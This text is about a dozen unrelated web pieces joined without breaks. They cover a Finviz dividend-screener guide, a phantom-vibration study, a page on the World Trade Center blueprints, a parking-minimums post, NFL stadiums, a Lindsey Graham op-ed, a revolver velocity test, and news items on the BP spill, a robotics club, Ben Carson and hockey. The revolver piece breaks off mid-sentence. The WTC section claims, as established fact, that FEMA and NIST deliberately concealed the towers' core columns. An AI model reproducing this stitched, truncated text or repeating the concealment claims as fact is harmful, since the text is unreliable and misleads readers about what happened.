The stock screener is a service that has a large quantity of data collected from individual stocks. The user can do searches by limiting the number of criteria’s, to find a certain type of stocks. Finviz is a tool that I use to find dividend stock ideas. I don’t use Finviz as a decision-making tool, instead, I filter out strong candidates that could have potential. From this small group of stocks that meet all the qualities, I hand pick some and do a closer inspection of the companies. I list some settings that I have found useful when searching good dividend stocks from Finviz, that have long-term ability to pay dividends.
The “Descriptive” Tab
The “Descriptive” tab has the basic options for the stocks. Here I choose the “Dividend Yield” as Over 3%. Too high dividend yield can be an indicator of risk. Usually, there is a reason for high dividends, the stock may have a dip or the dividend is way too high to have support from the financial base of the business. The “Analyst Recommendations” option “Hold or better” rules out all the worst stocks. In Finviz the analyst recommendations are from 1= “Strong buy” to 5= “Sell”, so “Hold or better” only includes stocks from classes 3 to 1.
The “Fundamental” Tab
The “Fundamental” tab has financial indicators. The option “P/E” or Price-Earnings Ratio can be used to rule out all the stocks that are overvalued. If the P/E is high, it may mean that investors have high expectations. Low P/E may instead show an undervalue or the company has been doing well for a longer period of time.
Long-term dividend growth stock needs to have stability. “Institutional Ownership” is good to set 50% cause the institutional investors usually are the long-term investors with the intention to keep the stock. Institutional investors are more steady investors compared to individual investors, that sell the stock easily if there is storm ahead.
Less the company has a debt the better, profitable companies that are making a solid record and can finance their own business, usually, have cash to pay rising dividends. That’s why I set the “LT Debt/equity” under 1. If a company has all the things in order it does not pay all the profits in dividends, if the “Payout Ratio” is over 100% it means that business gives more money out than comes in. Reasonable payout ratio also means that there is still resources to raise the dividend even further in coming years. I use under 60% payout ratio.
That’s it. With these few settings in Finviz, it’s possible to get a nice listing of stocks that have potential. You should not make investment decisions only relying on Finviz. Instead, Finviz is a good tool to seek new investment opportunities or get ideas what is available in the markets.
Link to the screener with my optionsA new study backs up increasingly available data that humans are falling victim to phantom vibration syndrome system at a shockingly high rate.
Over 80 percent of college students experienced the phenomenon of thinking that their mobile phone was ringing or vibrating, according to a study by researchers at the University of Michigan. This phenomenon, known as “phantom vibration (or ringing) syndrome,” is receiving increased attention from researchers as Americans become so attached to their smartphones.
The researchers, Daniel J. Kruger and Jaikob M. Djerf, administered an online survey to 766 college students, measuring their level of psychological cellphone dependency against their frequency of experiencing phantom phone vibrations, notifications or ringing.
The study found that those who scored higher on the cellphone dependency chart, had more frequent phantom phone experiences. 77 percent of the respondents said that they have experienced phantom vibrations, while 37 percent had a phantom ringing experience.
Kruger and Djerf asked students if they used their phones to make themselves feel better, if they became irritable when they couldn’t use their phone and if they though about using their phone when there weren’t on it to determine their levels of dependency. Women were found to be more dependent on their phones than men.
The study provided additional insight on human interaction with social technology in an emerging scientific field.
The results indicated that those with a greater psychological dependency on cell phone communications experience hyper-sensitization to stimuli similar to those indicating cell phone communications. The human mind, in turn, may hallucinate these sensations.
“Most people consider phantom buzzing and ringing a minor nuisance, and only a few try to do anything to fix it,” Kruger told The Daily Caller News Foundation. “Frequent phantom experiences are more of a sign of something potentially more problematic, our psychological dependencies on cell phones,” Kruger asserted to TheDCNF.
Previous studies have shown similar numbers. A 2010 study of 169 hospital workers in 2010 found that 70 percent of the workers experienced the phantom vibration syndrome, and that was seven years ago when smart phone usage was still far from peak use.
A similar college survey found that 40 percent of college students experience a phantom vibration at least once a week.
Experts say there are ways to combat the phenomenon, though it is unclear if millennials would find the ideas particularly helpful. One idea is to go on a “phone fast” which would be a period of time where the phone is not used. Another idea is to turn off the vibrator feature, or to refrain from keeping the phone on one’s physical body.
Psychiatric experts have refrained from including excessive cellphone use as an addiction, refusing to include it in the latest update to the American Psychiatric Association’s guide for classifying and diagnosing mental disorders.
Cell phone manufacturers and phone service providers insist that the problem is not related to the technology, but rather, it is a result of human error.
“We have to make sure that we do not lose the skills of normal (non-virtual) social interaction, or lose our sense of community, when everyone is effectively isolated from others in their own virtual social world,” Kruger warned.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Tower Blueprints
Surviving Evidence of the World Trade Center Attack
The blueprints to the Twin Towers and Building 7 remained off-limits to the public for more than five years after the attack, despite the fact that the buildings were built with public money and that the engineering drawings of public buildings are supposed to be public information. 1 Incredibly, the team of engineers from the ASCE that conducted the only investigation of the building "collapses" before Ground Zero had been cleaned up lacked access to the buildings' blueprints -- at least until they signed waivers that they would not use the evidence in a lawsuit against the Port Authority of New York and New Jersey. 2
LINK
Whistleblower Releases Blueprints
In March of 2007, an extensive set of detailed architectural drawings of the World Trade Center became public through the actions of a whistleblower. The 261 drawings included detailed plans for the North Tower (WTC 1), the World Trade Center foundation and basement, and the TV mast atop the North Tower. The set of drawings does not include plans for the other six buildings in the World Trade Center complex. However, since the Twin Towers were of almost identical construction, it is safe to assume that the structural details that the drawings shown for the North Tower are largely applicable to the South Tower.
The drawings contain a wealth of detail about the buildings, including the dimensions of structural members such as the core columns.
Most of the drawings can be viewed in this multiresolution browser.
This 66th floor core plan included in the detailed architectural drawings shows that most of the core columns retained their full outside dimensions well above the midpoints of the Towers. Of the sixteen columns bounding the long faces of the core, thirteen have outside dimensions of approximately 54 by 22 inches in this 66th floor section.
In late 2008 a second set of blueprints became public. This set, which can be viewed by this multiresolution browser, details the electrical architecture of the Twin Towers.
LINK
Official Reports Misrepresented the Towers' Construction
Portion of photograph in the collection of the Skyscraper Museum
The detailed architectural drawings make clear what official reports have apparently attempted to hide: that the Twin Towers had massive core columns, and those columns ran most of the height of each Tower before transitioning to columns with smaller cross-sections.
Based on construction photographs exhibited in the Skyscraper Museum and illustrations from the Engineering News Record, 9-11 Research had established by mid-2005 that, low in the Towers, the sixteen core columns that bounded the long faces of the buildings' cores had dimensions of 54 by 22 inches. The detailed drawings show that these columns maintained these dimensions through about the 66th floor.
Both of the government-sponsored engineering studies of the Twin Towers' "collapses" -- FEMA's and NIST's -- are highly misleading about the core structures. Neither FEMA's Study nor NIST's Report discloses dimensions for core columns -- dimensions that are clearly evident in the architectural drawings. Both Reports use a variety of techniques seemingly designed to minimize the strength of the cores or to conceal their structural role entirely.
So effective was FEMA at concealing the nature of the cores that the 9/11 Commission Report, citing the FEMA Report, denied the very existence of the core columns.
FEMA's Building Performance Study
Figure 2-2 of of FEMA's Building Performance Study, labeled "Representative structural framing plan, upper floors", is one of five illustrations in the report that depict core columns. Each of these illustrations depicts the core columns at their minimum dimensions, and none depict them at their typical dimensions.
In May of 2005, the Federal Emergency Management Agency (FEMA) released its Building Performance Study, of which Chapter 2, "WTC 1 and WTC 2", was devoted to explaining the "collapse" of the Twin Towers. It advances the "truss theory" or "pancake theory", in which the supposed failure of floor-truss-to-column connections is the initiating event in a series of chain reactions ending in total collapse. Added commentary in our archived copy exposes many deceptive techniques employed in the article. 3
Key elements of FEMA's theory depend on misrepresentations of the Towers' construction made possible by their vague descriptions. For example, to explain other collapse of the core their Study states:
As the floors collapsed, this left tall freestanding portions of the exterior wall and possibly central core columns. As the unsupported height of these freestanding exterior wall elements increased, they buckled at the bolted column splice connections, and also collapsed.
Contrary to the FEMA's hedged assertion that the core columns were freestanding, construction photographs clearly show that large horizontal beams cross-connected the core columns in a three-dimensional matrix of steel.
FEMA's report seems crafted to hide the structural significance of the core columns, if not their very existence. Examples of features of the Report that minimize or conceal the core structures include:
Figure D-13 from FEMA's Study, bearing the caption "WTC 1 or WTC 2 core column (C-74)", is the only photograph in the Study that shows an identified core column
The absence of any illustrations showing core columns of typical dimensions
The repeated use of the term "service core" to describe the cores, and avoidance of terminology describing their structural role
The use of illustrations that imply the cores didn't exist, such as Figure 2-20
The only photograph of a core column in the Report (Figure D-13) being of an atypical column of very small dimensions
The inclusion of only floor plans that show core columns of very small dimensions with no clarification that the core columns that ran most of the Towers' heights were of much larger dimensions
NIST's Final Report on the Twin Towers
In 2005 NIST published its 'Final Report of the National Construction Safety Team on the Collapses of the World Trade Center Towers' -- a 280-page report that was extremely vague in a number of respects, including any description of the structural systems of the Towers. It contains very little information about the core columns, the following being one of the only passages describing them:
Figure 3-3 From NIST's Final Report drastically misrepresents the dimensions of the core columns on the 78th through the 83rd floors.
The 47 columns in this rectangular space were fabricated using primarily 36 ksi and 42 ksi steels and also decreased in size in the higher stories. The four massive corner columns bore nearly one-fifth of the total gravity load on the core columns.
The passage implies that only the corner columns were "massive" when, in fact, the sixteen columns on the long faces of the cores shared the same dimensions for most of each Tower's height.
Illustrations in the Report depict the core columns at the North and South Tower crash zones as being the same size, when in fact the core columns were much broader around the 80th floor than around the 95th. NIST's failure to highlight this difference is especially interesting in light of its estimates of core column damage in the Towers. Those esimates show 10 of the South Tower's core columns severed, compared to only 6 of the North Tower's. How could the South Tower's core have had more damage when its impact-level columns were twice as large as the North Tower's and it sustained only a glancing rather than a head-on impact? Was NIST struggling to explain how the South Tower succumbed to "global collapse" almost twice as quickly as the North Tower despite having much smaller fires?
LINK
World Trade Center Master Plan
This illustration from 'Multi-Storey Buildings in Steel' shows a structural system that matches the drawings in the MASTER PLAN. Multi-Storey Buildings in Steel
Prior to the release of the detailed architectural drawings, 9-11 Research published the MASTER PLAN, dated December 16, 1963. The MASTER PLAN does not show structural details such as column dimensions, and shows an arrangement of core columns that was later changed. The obsolete core column arrangement indicated in the MASTER PLAN has been reproduced in other publications such as the book 'Multi-Storey Buildings in Steel'. 4
ReferencesMy apartment comes with a parking spot. I don’t use it, but I pay for it. My apartment, my parking spot–it’s a package deal. It sits empty through spring, summer, and fall. Sometimes a parking scofflaw appropriates my spot as their own (this happens rarely). But I don’t care, because I don’t need it. In the winter my parking spot fills with snow, and management posts a sign that says move your car, we’re plowing the parking lot. Lucky me, I never worry about having my car towed, because I don’t own one. Still, I pay my share for the plowing.
Aside from the ample parking, my building is pretty no-frills. It doesn’t provide every unit with a bicycle or a bus pass. Those are the kinds of amenities that might entice me to choose living in a building that offered them. Even though I support the idea of a 1:1 bike to bedroom ratio, it’s probably a bad idea for Minneapolis to mandate bicycle minimums for new development. The same goes for parking.
This isn’t to say that I expect everyone in my building, or my neighborhood, to go car-free. Allow me to modify a metaphor previously made famous by Nick Magrino: If Minneapolis abolished a hypothetical law mandating a Keurig minimum, I wouldn’t interpret that as anti-Keurig, but rather giving people the freedom to choose whether they want to own a Keurig (and relieving them of the obligation to buy those expensive K-cups). You could still choose to own one. But my neighbors–one of whom drinks coffee by the potful and another who doesn’t drink coffee at all–wouldn’t be required to subsidize the bulk purchase of 40 Keurigs for the entire building.
Strict parking minimums make the assumption that everyone is living the same car-dependent lifestyle, thereby spreading the cost of car ownership to people who don’t own cars. This should trouble anyone who cares about housing affordability. Fortunately,Council Member Lisa Bender has a plan to ease parking minimums, and the costs that go with them (hint: it’s far more than the price of a Keurig):
Underground parking costs up to $25,000 per stall to build, [Developer Ross Fefercorn] said, and requires the accompanying development to have a larger footprint. It also raises taxes, maintenance and insurance costs. “If you can build a building without underground parking and you have residents who will live in it, your cost of building the project is greatly reduced,” Fefercorn said. “You pass on the savings to your tenants.”
Based on some of the reaction in certain local comment sections, you’d think this was a proposal to prohibit car ownership. It’s not. Neither is this a proposal to prohibit the construction of more parking (though I once listened in admiration as Council Member Lisa Goodman sang the virtues of a parking maximum on Channel 79). This proposal is only about easing the parking minimum in transit-friendly areas of Minneapolis.
No matter what happens with this proposal, developers will continue to include lots of parking in many of their new projects. Just like they’ll continue to offer gyms and dog parks; these are amenities that certain people want, and somehow it is provided to them without regulating dog park minimums. Car storage is likewise an amenity that a lot of people will continue to expect, meaning there’s unlikely to be a parking shortage anytime soon.
Parking has a cost, just like a gym or a dog park. While shopping for housing it would be nice to have the freedom to choose how much parking you need and, more importantly, how much parking you can afford.
This post was written by John Edwards and originally published on streets.mn. Follow streets.mn on Twitter: @streetsmn.
If you blog and would like your work considered for Minnesota Blog Cabin, please submit our registration form.Stadiums represent a considerable expense to a community, and thus their construction, use, and funding often enters the public discourse.[3] Also, given the perceived advantage a team gets to playing in its home stadium, particular attention is given in the media to the peculiarities of each stadium's environment. Climate, playing surface (either natural or artificial turf), and the type of roof all contribute to giving each team its home-field advantage.
Stadiums are either open, enclosed, or have a retractable roof. For retractable roofs, the home team determines if the roof is to be opened or closed 90 minutes before kickoff. The roof remains open unless precipitation or lightning is within the vicinity of the stadium, the temperature drops below 40 °F (4 °C), or wind gusts are greater than 40 miles per hour (64 km/h), in which case the roof operators will close the roof.[4]
Seating Edit
With a peak capacity of over 100,000 spectators, AT&T Stadium has the highest capacity of any NFL stadium, while MetLife Stadium has the highest listed seating capacity at 82,500. The smallest stadium is Dignity Health Sports Park, which is hosting the Los Angeles Chargers for 2017–2019 with a capacity of 27,000 seats; it is the smallest stadium to host a full NFL season for a team since a 25,000-seat City Stadium hosted its last Green Bay Packers games in 1956.
In their normal configurations, 29 of the league's 31 stadiums have a seating capacity of at least 60,000 spectators; of those, a majority (16) have less than 70,000 seats, while eight have between 70,000 and 80,000 and five can seat 80,000 or more. In contrast to college football stadiums, the largest of which can and regularly do accommodate over 100,000 spectators, no stadium in the league currently has a listed seating capacity of more than 82,500. Teams rarely build their stadiums far beyond the 80,000 seat threshold (and even then, only in the largest markets) because of the league's blackout policy, which prohibited the televising of any NFL game within 75 miles of its home market if a game does not sell all of its non-premium seating. For this reason, until the blackout was suspended in 2015, the Los Angeles Rams cap capacity at the 93,607-seat Los Angeles Memorial Coliseum to 80,000 seats for most games. Oakland–Alameda County Coliseum, the stadium that hosts the Oakland Raiders, has over 60,000 seats, but the team has restricted capacity to under 57,000 in more recent seasons.[5] In the opposite direction, the league has a firm minimum on the number of seats an NFL stadium should have; since 1971 the league has not allowed any stadium under 50,000 seats to host a full-time NFL team (not counting Dignity Health Sports Park; there have been two exceptions to this: 45,000-seat Metropolitan Stadium in Minnesota was not replaced until 1982, and 40,000-seat Vanderbilt Stadium hosted the Tennessee Oilers for one season in 1998 after a planned two-year residency in Memphis was cut in half). In normal circumstances, all NFL stadiums are all-seaters.ADVERTISEMENT
Lindsey Graham is 99.9 percent certain he's running for president in 2016. South Carolina's senior senator says he's motivated to run because "the world is falling apart." But it's hard to avoid the conclusion that Graham also wants to pick a fight with Rand Paul on the GOP debate stage, in addition to the many fights this neoconservative hawk would like to pick abroad.
Graham is an able debater and scrappy political survivor. He demolished libertarian-leaning Republican primary challengers seeking his Senate seat last year. So it's not surprising that he thinks he can take Paul down a few pegs. Indeed, he is already working on it. After Paul zinged Jeb Bush on Iraq, Graham took a shot at Paul, suggesting the Kentucky Republican would call a lawyer before striking terrorists.
Yet Graham is, in some respects, a perfect foil for Paul. It's a lot easier for a libertarian-leaning presidential candidate to make a case against aggressive military intervention when the poster boy for the neocon cause is a cartoonish, blustery senator who never met a hyperbole he didn't like. Consider the Palmetto State lawmaker's anti-Paul line: "If I'm president of the United States and you're thinking about joining al Qaeda or ISIL — anybody thinking about that? — I'm not going to call a judge, I'm going to call a drone and we will kill you." A drone strike for your thoughts!
This is part of a larger pattern with Graham — and one that reveals that the neocon position is often little more than tough talk papering over an intellectually hollow core. During a debate over the indefinite detention provision in the National Defense Authorization Act, Graham exclaimed on the Senate floor, "And when they say, 'I want my lawyer,' you tell them, 'Shut up. You don't get a lawyer.'"
The trouble here is that we're not just talking about terrorists, but due process rights for American citizens. Graham finds such constitutional niceties annoying. "Free speech is a great idea," he has said, "but we're in a war."
The South Carolinian also declared he would not "let Congress leave town until we fix this. I would literally use the military to keep them in if I had to. We're not leaving town until we restore these defense cuts."
Graham later insisted he was joking, but Republican presidential candidates don't normally engage in humorous banter about the military coercing a civilian-controlled branch of government into increasing federal spending.
Unlike other hawks in the race, Graham makes it very easy to demonstrate how his outsized foreign policy would lead to big government at home. Graham's contention that the American homeland is a battlefield is ultimately incompatible with constitutionally limited government, something made plain by his frequent willingness to weaken Bill of Rights protections on its behalf.
Also unlike some other Republican hawks, Graham isn't that big of a limited-government guy outside foreign policy. He's defended the Wall Street bailout. He's co-written op-eds with John Kerry demanding cap and trade. He's suggested he's to the left of most Republicans on taxes. Graham has teamed up with John McCain on campaign finance reform and expressed support for a constitutional amendment overturning Citizens United, a fashionable cause on the left.
Maybe the cost of Marco Rubio's "muscular" foreign policy would wipe out the savings from his entitlement reforms. But Rubio is more of a conventional fiscal conservative on domestic policy.
Graham compares unfavorably to Rubio in another way, too. While the Florida senator engages in threat inflation and has a Graham-like slogan about how nothing matters if we are not safe, Rubio also capably wraps his foreign policy in a more optimistic vision of America's role in the world.
In Graham's version, it's almost all fear. When the world is not falling apart, it is "literally about to blow up." Despite Graham's reputation as a Washington grownup on national security, The Federalist's Ben Domenech describes the senator's rhetoric on these issues as "regularly unhinged and bereft of facts."
As Republicans struggle to put Iraq behind them, Graham is doubling down in defense of the unpopular war. While Graham accuses Republicans like Paul of carrying water for Barack Obama's foreign policy, he backed Obama and Hillary Clinton on war in Libya and Syria. Graham's only regret is that we couldn't intervene more.
Finally, Graham is polling near the bottom of the Republican pack. In one recent Fox News poll, he received zero percent — that's zilch, nada — of the GOP vote nationally.
If Rand Paul has to have a hawkish thorn in his side during the primaries, Graham is the one he should want.How much does barrel length impact bullet velocity in.38 Spl and.357 Mag revolvers? We tested 8 different loads in 11 different guns to find out. Watch the video below for a summary of the results, or keep reading for the old fashioned text version.
A lot of you guys have been asking about the status of our.38 Special and.357 Magnum ballistic gel tests. We are very close to having that wrapped up and I’ll be sure to let you know as soon as the results are ready.
In the meantime, I wanted to give you a quick look at some of the background research we did before we started the actual gelatin tests. With.38 Special, and especially with.357 magnum, conventional wisdom says that barrel length has a huge bearing on the effectiveness of the bullet. The longer the barrel, the greater the velocity, and for self-defense rounds, higher velocities often translate to better penetration and expansion. The same could be said for the semi-auto calibers that we’ve tested in the past, but.38 and.357 cover a much broader range of velocities than any one semi-auto caliber and that means barrel length tends to be an even more important factor with revolvers.
So for our ballistic gel tests, we wanted to test each load with both of the two most common barrel lengths for defensive revolvers, which are 2-inch and 4-inch. But deciding which guns to use for the tests was a little tricky because, for example, not all so-called 2-inch snub nose revolvers are actually 2 inches. Some are 1 ⅞ inches or 2 ⅛ inches or 2 ¼ inches, and we weren’t quite sure how much of a difference it would make in our test results if we chose one snub nose over another. We also wanted to verify that there was a significant difference in velocity between the two inch and four inch guns we were planning to use before we started shooting up our expensive gel blocks.
So we got out the chronograph and measured velocity for a few different loads that we just happened to have in the safe – four.38s and four.357s. We ended up testing these through a lot more guns than we originally planned. In total, we got velocities from 10 revolvers and just for fun, I also brought along the carbine.
We fired five rounds of each load through each gun and took the average velocity. Here’s what we came up with:
There is another piece of conventional wisdom that says every time you add an inch to the barrel length, you should get a velocity increase of about 50 feet per second. That might be a generally decent rule of thumb in some cases, but obviously it’s not absolutely true. That becomes easier to see when we view the same data plotted on this festively colored line graph:
We didn’t have the S&W 640 Pro or the S&W 686-3 available when we took all of the velocity measurements which is why there are some gaps in the data. Taking a quick glance at the chart, it’s readily apparent that the velocity generally increases with barrel length, but not in every case, and the rate of increase is not predictable. If we tried to predict this data using the “50 feet per second per inch” rule, each line on the graph would progressively rise higher as the barrel length increases from left to right. In some cases, however, the velocity actually drops going from a shorter to a longer barrel.
The most significant instance of this phenomenon was the Smith & Wesson Model 28-2, which took a huge nose dive in velocity with the two jacketed.38 Special bullets compared to the 3-inch barrel and the other two 4-inch barrels. The S&W 686-3 also showed a major drop in velocity with the Magtech 158 gr.357 Magnum load even though the same barrel had comparatively high velocities with some of the other loads.
There was also some up-and-down going on among the |
-- nothing XXL or novelty/backwashy about this fine slice of a-frame perfection, but it'll do for 99% of us. Photo: Michael McKenna"There is a diversity in belief and opinion on equal marriage within the Muslim community."
A group of Muslims is encouraging people to vote “yes” on marriage equality in Australia, while hoping to erase some of the stigma that gay people face in the religion.
Muslims for Marriage Equality was established to build support for same-sex marriage ahead of the upcoming postal plebiscite scheduled in Australia, and group founder Fahad Ali says that Muslims have more diverse beliefs than many think.
“The notion that all Muslims are opposed to equal rights for same-sex couples is absolutely incorrect,” Ali said in a statement. “There is a strong thread of egalitarianism and social justice within the Qur’an and we think that it is very applicable to the question of same-sex marriage.”
YouTube/SkyNews
Despite his optimism, he acknowledges that gay Muslims face a lot of hardships in their communities due to their sexuality—something he hopes the campaign can help to eliminate.
“A lot of people have to endure violence from their families; they have a lot of fear,” he told Sky News. “There’s also the feeling of not being able to find a place within their community of faith, which can be quite troubling for a lot of people who want to be practicing Muslims.”
Ali joins many Australians in thinking that the plebiscite is a waste of time and should have been handled by parliament instead.Nearly eight weeks after an oil rig explosion in the Gulf of Mexico launched the worst environmental disaster in US history, President Obama is still calibrating his response.
The president now says he’s trying to figure out “whose a** to kick” for the BP oil spill, after weeks of criticism for not appearing angry enough over the mess. Next Monday and Tuesday, President Obama will return to the Gulf to survey disaster response and meet with residents and officials in Mississippi, Alabama, and Florida, his second visit in a little over a week and fourth overall since the spill began.
And on Wednesday, the White House will receive senior BP executives for a meeting, at the administration’s request, after previously defending Obama’s decision not to speak directly with BP CEO Tony Hayward. It’s not clear if Mr. Hayward himself will attend the meeting.
IN PICTURES: The Gulf oil spill's impact on nature
All these moves suggest an improvisational tone to the White House response; critics call it slow and reactive. But given the magnitude of the disaster – and the continuing upward estimates of the oil flow into the Gulf – that may have been inevitable.
“Almost no one believed in the first days after the explosion that we would be two months into this thing with marginal control over the wellhead,” says Cal Jillson, a political scientist at Southern Methodist University in Dallas. “They recognized that it was a big deal to which they had to respond early, but they did it in a technocratic way, really, for the month, five or six weeks, even.”
It is Obama’s wont to approach a problem methodically, to devise a strategy and then execute it. But as time went on, and popular reaction heightened, the White House clearly decided that Obama needed to step up his public strategy. Coast Guard Adm. Thad Allen’s assignment as national incident commander has also heightened the sense of “adult supervision” over the federal government’s response to the spill.
“It may not change the trajectory of this a great deal, but you want to know that a guy like Thad Allen rather than some of the White House crew is actually calling the day to day shots,” says Mr. Jillson. “I think that gave [Obama] a little bit more time.”
The federal government is still getting better grades than BP for its response to the spill – but it’s all shades of negative.
Some 81 percent of Americans rate BP’s response negatively, according to an ABC News/Washington Post poll released June 7. The federal government gets a 69 percent negative rating, a month and a half after the spill began. That’s worse than the 62 percent negative rating the federal government got two weeks after hurricane Katrina in August 2005, per ABC News.
Obama’s pressure on BP to defer its quarterly dividend to shareholders appeared to bear fruit, as the online edition of the Times of London reported Friday that BP will defer a payment of $2.5 billion in second-quarter dividends until it has determined its full liability from the Gulf disaster. The dividend money is to be put in escrow in the meantime, the Times reported, citing unnamed sources. BP officials have not publicly confirmed the report.
Obama is scheduled to speak with the new British Prime Minister, David Cameron, on Saturday, amid British concerns that Obama’s tough talk is hurting BP’s financial stability. On Monday, the board of BP meets to discuss whether to suspend or reduce its scheduled dividend.
IN PICTURES: The Gulf oil spill's impact on nature
Related:
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To be honest, I’m a little jealous of these guys. As you read further you’ll understand why. I loved to experiment with my toy robots when I was a kid and then tried building a few of my own. My parts budget was always way too small to afford the right stuff and my expertise was always too little to make what I had do anything impressive. The benefits of doing this work in a group are many. You can pool your resources and afford better parts and equipment. Multiple brains means a multiplication of ideas and ingenuity. The social aspect of working within a group tends to keep you more motivated and makes the work a lot more fun. Robotics is a perfect science to build a club around.
Recently I was listening to my radio and heard an announcement about the University at Buffalo Robotics Club demonstrating at our city science museum. It grabbed my interest right away and I contacted them to answer some questions for an article. Colin Lea, the club's current president, responded and was happy to participate with the help of his fellow club members:
Q. Can you tell me how and when your club was formed? Was it an extension of the university’s curriculum or was it born solely out of individual interests?
A. About 12 years ago our club branched out of the local IEEE student club at UB, however it wasn't until 2000 when we were officially established in the Student Association. Our classes mostly focus on theory so clubs provide a way of applying these ideas in practical situations. There isn't an exhaustive document to refer to, so we really only know bits of our past. Since our start we have participated in several competitions including Robocup, Sumobots, battlebots, the Trinity Firefighter Competition, the Intelligent Ground Vehicle Competition, and possible others. A brief overview of our accomplishments can be found on our website.
Q. Does there seem to be a favorite robot character from the entertainment industry among your members?
A. For most of us our interests came from more real-world robotics applications rather than a particular character in entertainment. The DARPA Grand and Urban Challenges were certainly influential as well as the Mars Rover. I remember being awestruck hearing about the accomplishments of the rover. If we had to choose one entity then perhaps Walle?
Q. What types of robotics do you focus on most within the club?
A. Our current efforts specialize in wheeled mobile robots. For the past three years we have focused on our entry into the Intelligent Ground Vehicle Competition. Additionally, we have recently worked on entries into the Trinity Firefighter Competition as well as a vehicle for our University's battlebots competition.
Our current flagship robot is for the Intelligent Ground Vehicle Competition. We have created a vehicle about the size of a mini-ATV that must traverse a couple of obstacle courses. In one it has to stay within white lines that mimic a road while avoiding cones, barrels, and other obstacles. The other involves travelling to specific locations in a field filled with barrels and fences. The robot is completely autonomous so once the vehicle starts we can't touch it. Last year we placed 12th out of over 50 teams overall.
Q. For wheeled or track locomotion of a robot have you found a particular motor type to be the most reliable and accurate to control?
A. Motors vary largely depending on the project. For our IGVC project we are currently using NPCs but we aren't entirely happy with them. We are looking for something a little more efficient for next year. For our smaller platform we like the geared motors (w/ encoders) from Super Droid Robotics.
Q. There are experiments being done with materials that contract with an electrical signal, much like human muscle tissue. Have you tried any of these materials in your experiments?
A. We have not worked with any of these materials. There is a lot of cool work going on with bio-robotics but nothing that we have investigated.
Q. A human has five senses feeding signals to its brain so it can process, or perceive, its environment. Ideally a high functioning robot must also have many sensors to process its environment to do its work correctly. What sensor technologies are experimented with most in your club and why?
A. Our sensors range from cheap infrared distance sensors costing 10-20 dollars to a high-end SICK Laser Rangefinder that retails at several thousand. The laser rangefinder is a very cool piece of equipment that tells us the distance to nearest objects 180 degrees around us. We use this to detect and avoid objects in our path for the Intelligent Ground Vehicle Competition. We use this for demonstrations during tours and everyone seems to find it really cool. For reference, it is the big yellow thing on the front of our vehicle.
We also recently got a flame detector for our Firefighter entry which is able to tell us where a candle is located in a room. The point of the contest is to extinguish a flame so the sensor is invaluable.
With our video camera we have experimented with cool stuff such as face detection and finding lane markers on the ground.
Q. For the “brain” part there’s a huge selection available of microcontroller chips, single-board computers, and micro-PCs. It’s a very different situation now than it was in the ‘80s and before. Is there a bit of the ‘kid in the candy store’ type feeling when selecting a controlling processor for your machine?
A. We use two types of micros within the club: Atmel AVRs and Arduino. Technically the Arduino also uses Atmels, but we count it separately. It is really nice for prototyping and especially for newer members who don't have experience programming lower level micros. It is something we recommend for anyone new to robotics or electronics. For our larger projects we create our own printed circuit boards (PCBs) and include surface mount Atmel chips. Over the past few years Atmel has reigned due to internal documentation and support for them. They are nice because of the free compiler as well the cheap programmers that are available to put code on the chip.
Q. What’s the favored programming language for robotics control?
A. It depends on the application. For all microcontroller projects we use variants of C. For Atmels we use embedded C with the gcc compiler and for the Arduino we use its own C-based language. C provides easier access to lower level control and is very fast. It is also much easier to program than Assembly, our other option for Atmels. Last year for our larger project we decided to program in Java largely because of our familiarity. We are planning on shifting this program over to C++ in the next year in order to get better performance. Matlab is taught to all mechanical engineers so it has also been used as a test-bed for new algorithms.
Q. In any complex creation there’s always a compromise between what you imagine, what you’d like to do, and what practicality (and money) allows you to do. What do you find most frustrating when dealing with this reality?
A. We often come up with grandiose plans claiming that we are going to produce everything by hand for really cheap while making products that are better than anything commercially available. Then reality sinks in. Because we all have classes and other commitments we have to carfeully weigh time vs money. We have a large enough budget that we don't have to scrounge around for everything, but not enough to buy everything we can dream. Due to the structure of our club, where we have about a year to complete a project, our frustration usually comes from knowing that we won't have enough time to do everything we want.
Q. Ray Kurzweil defines the “singularity” as the point where human and machine intelligence becomes equal. It may be possible but it doesn’t seem like we’re anywhere close. What are some of the feelings within your club on this issue?
A. It will be a long time before robots reach human intelligence. There is a lot of current research going on within personal robotics which will bring robots into the same living area as humans, but these machines are slow and clunky. Don't get me wrong, some of this stuff is really cool (see Willow Garage), but it will be decades before we can get robots that communicate with humans in real-time and can actually process and think on their own.
Q. I imagine some of these events give a fast education in what works and what doesn’t. What are some of your best lessons so far?
A. Test, test, test! There have been times in the past where we have built elaborate projects, but didn't have enough time to fix all of the bugs. This is a problem we had with our IGVC Vehicle last year. To remedy this, this year we built a test platform that mimic our larger vehicle. The idea is that we are able to test algorithms on a smaller vehicle during the winter and while our other vehicle is being worked on.
Q. How would you advise somebody who wanted to get started in the science and construction of robots?
A. It's unfortunate that there isn't more out there for novices. Lego Mindstorms are a great introduction but a little expensive. The age range on the Mindstorms is early teens to adults. It comes with a basic graphical programming language but also can be used with Java, C++, Matlab, and other languages. Sparkfun has a lot of parts, including some introductory kits for sale. For someone interested in getting into physical computing (programming physical devices such as motors and lights) then we definitely suggest learning about the Arduino.Citing comments made by 2016 Republican Presidential candidate Ben Carson on how to respond to an active shooter incident, the group is petitioning for a public apology.
Following a mass shooting at Umpqua Community College in Roseburg, Oregon, Carson was candid with Fox News “Fox and Friends” co-host Brian Kilmeade on Oct. 6 about his personal response if confronted with a similar situation.
“Not only would I probably not cooperate with him, I would not just stand there and let him shoot me. I would say ‘Hey, guys, everybody attack him! He may shoot me but he can’t get us all,'” Carson said.
Wednesday, with Carson polling high among the field of 14 potential GOP candidates, former New York Mayor Michael Bloomberg’s Everytown for Gun Safety group blasted the retired neurosurgeon on social media, labeling his comments insensitive to anyone who has been affected by gun violence.
“We can’t let him get away with blaming gun violence victims, while opposing common-sense measures that would keep guns out of the hands of dangerous people in the first place,” says a message linked to a petition by the group seeking an apology from Carson.
The candidate has been outspoken in his support for gun rights, addressing the National Rifle Association’s Leadership Forum in Nashville earlier this spring and weighing in on the issue repeatedly since then.
Carson is scheduled to attend a rally at West Memphis High School in Arkansas on Friday.The San Jose Sharks have provided LA Kings fans a lot of fond memories over the past four years.
Sure, there have been a lot of Kings wins, but it’s the way that Sharks find new ways to lose and shoot themselves in the foot that makes the memories even greater.
This includes last season’s dramatic seven-game series that ended in a Kings #ReverseSweep win, quite possibly the greatest non-Stanley Cup Final series in Kings history.
Sad Game 7 Joe Thornton forever.
